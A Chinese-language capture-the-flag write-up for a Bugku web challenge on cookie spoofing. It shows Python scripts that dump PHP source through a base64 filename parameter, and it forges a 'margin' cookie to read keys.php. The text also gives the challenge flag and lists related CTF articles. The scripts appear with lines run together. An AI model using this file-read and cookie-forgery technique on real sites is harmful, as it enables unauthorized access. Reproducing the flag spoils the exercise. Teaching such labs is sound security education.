知识点

isset: 检测变量是否设置,并且不是 NULL
$_GET:收集来自 method=“get” 的表单里的值

intval() 函数用于获取变量的整数值。

in_array() 函数搜索数组里是否存在指定的值。
举例:

<?php $am = array("Bill", "Steve", "trump", "David"); if (in_array("trump", $am)) { echo "匹配已找到"; } else { echo "匹配未找到"; } ?>

结果:
匹配已找到

file() 函数把整个文件读入一个数组里
file() 将文件作为一个数组返回。数组里的各单元都为文件里相应的一行,包括换行符在内。

解题流程

查看题目描述: cookies欺骗
打开网页

只看到很长的字符串

base64解码

通常的源文件应该是index.php
2、对index.php进行base64编码并作为新的filename的参数

3、查看源文件,其里line变量起到控制行数的作用:
http://114.67.246.176:13972/index.php?line=1&filename=aW5kZXgucGhw


4、编写python脚本,查看全部源码

import requests
rs = requests.session()f = open("out.php", "w")
for i in range(1,30):url = "http://114.67.246.176:13972/index.php?line={}&filename=aW5kZXgucGhw=".format(i)rsg = rs.get(url)print(rsg.text,file=f)f.close()

5、分析PHP源代码,结合题目描述,我们需要上传一个cookies,令margin=margin

<?
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");  //表示有filename的话获取其内容,没有的话就赋值为空
$line=isset($_GET['line'])?intval($_GET['line']):0;  //line有值直接获取,无值赋值为0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");  //设置我们看到的URL
$file_list = array(  //关联型数组
'0' =>'keys.txt',
'1' =>'index.php',
);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //接下来的指示,cookie里的margin参数要设置,且要等于'margin'
$file_list[2]='keys.php';   //在数组里加入keys.php,这应该存着flag
}if(in_array($file, $file_list)){   //看我们传入的filename的值是否在上面的数组里
$fa = file($file);   //以文件的方式打开
echo $fa[$line];   //按line行号,输出  因为line写成0(file将文件的内容作为数组时第一行下标是0,至于刚刚那个index.php应该是首行为空的)
}/*
isset: 检测变量是否设置,并且不是 NULL
$_GET:收集来自 method=“get” 的表单里的值intval() 函数用于获取变量的整数值。in_array() 函数搜索数组里是否存在指定的值。
举例:
<?php
$am = array("Bill", "Steve", "trump", "David");
if (in_array("trump", $am)){echo "匹配已找到";}
else{echo "匹配未找到";}
?>
结果:
匹配已找到file() 函数把整个文件读入一个数组里
file() 将文件作为一个数组返回。数组里的各单元都为文件里相应的一行,包括换行符在内。
*/
?>

至此,我们的目标网址应该是:
http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA=(filename替换为
keys.php的base64加密后的内容)
line写成0(file将文件的内容作为数组时第一行下标是0,至于刚刚那个index.php应该是首行为空的)
6、三类上传方法:
(1)通过BrupSuite抓包后上传


(2)编写python脚本上传

import requests
url = "http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA="mysession = requests.session()cookies = {'margin','margin'}r = mysession.post(url,cookies=cookies)print(r.text)

(3)使用Hackbar上传

7、得到flag:flag{4db7115d577eed11439dd72738823e9f}

BugkuCTF-WEB题cookie欺骗相关推荐

  1. BugkuCTF之web题之细心

    BugkuCTF之web题之细心 一进网页发现: 这是啥????(黑人问号)一脸的懵逼,查看源代码?发现几个链接欸,点了几下发现,然并卵...发现提示找不到文件,那好吧,就一个一个来试试,试到robo ...

  2. CTF Web题 部分WP

    1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...

  3. BugkuCTF web基础$_GET

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  4. 20220129刷题--第4题-- cookie

    20220129刷题–攻防世界–web新手第4题-- cookie 直接burp抓包,看到: 太明显了,查看cookie.php呗: 还得看包: 看到response中: flag: cyberpea ...

  5. 替换url部分_MOCTF部分Web题攻略

    文章来自零釼实验室成员 南宫十六 文章共1864字32图 预计阅读时间5分钟 MOCTF部分Web题解 MOCTF的题目还是比较简单的,今天这篇就当个web类型的入门题吧.本来想把web题解题思路一次 ...

  6. 【CTF整理】Who are you (2017强网杯web题)

    [CTF整理]Who are you (2017强网杯web题) 别人思路总结: 0x01 初探 打开网页就是一句"Sorry. You have no permissions." ...

  7. CGCTF平台web题writeup

    前言 大概的做了做CGCTF的web题,基本都做出来了,在这整理了一下writeup,其中一些十分简单的题,就大概的写了些,后面一些难题会更详细,需要的可以直接拉倒最后面.共勉. 正文 签到题 10p ...

  8. ctf的web题目php,32C3 CTF 两个Web题目的Writeup

    0x00 简介 作为一个销售狗,还能做得动Web题,十分开心. 这次搞了两个题目,一个是TinyHosting,一个是Kummerkasten. 0x01 TingHosting A new file ...

  9. CTF里面的WEB题的一些解决思路

    CTF里面解决WEB题的一些常用思路: (福利:末尾有视频链接) 如图( 十八罗汉) PS:(下文的序列号是对图片中序列号的一些补充) WEB题中常用的工具 (1):直接查看源码:查看源码的方法除了鼠 ...

最新文章

  1. 进制转换,字符串,字节串之间转换
  2. 认清SQL_Server_2005的基于行版本控制的两种隔离级别
  3. Node.js 指南(入门指南)
  4. 学习oracle 入门第一课后的笔记记录
  5. The constness of a method should makes sense from outside the object
  6. python爬虫详解
  7. 计算机视觉相关公开数据集(免费下载)
  8. 全球及中国缓控释肥行业产能规模与投资盈利能力分析报告2022版
  9. 留美学子安全手册,这个可以有
  10. php mcv,swolle http mcv设计问题
  11. 台式计算机硬件组成主机,台式电脑主机的硬件组成部分简介
  12. createjs php通信,快速入门createjs实例教程
  13. 5、SRS4.0源代码分析之RTMP拉流处理
  14. Unity的Application.Quit()方法使用失效的其他解决方案。
  15. 于氏:简单监控全网服务
  16. 华为云空间費用_华为云空间怎么登录,有什么用?可惜99%的人都不知道
  17. Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Progra
  18. 图形学中的贴图采样、走样与反走样等,图形学走样
  19. php tp5 group的简单使用
  20. 玩转 python selenium---抓取某知名电商商品页的图片

热门文章

  1. 引入阿里云GA,商米加速IoT产品和解决方案全球化布局
  2. 掌门1对1微服务体系Solar|阿里巴巴Sentinel落地实践
  3. 如何在CDN边缘节点执行你的JavaScript?
  4. 创建VPC前,网络规划的4个问题你弄清了吗?
  5. 标签编辑新工具:如何使用控制台标签编辑器(Tag editor)
  6. containerd与安全沙箱的Kubernetes初体验
  7. 一行指令造成 60 亿美元蒸发,更让 Facebook 遭遇史诗级故障!
  8. “编程能力差的程序员,90%输在了这点上!”谷歌AI专家:都是瞎努力!
  9. 数学之美:嵌入式编程凹凸性之妙用(附C代码)
  10. AMD 发布第二代EPYC处理器,重新定义数据中心新标准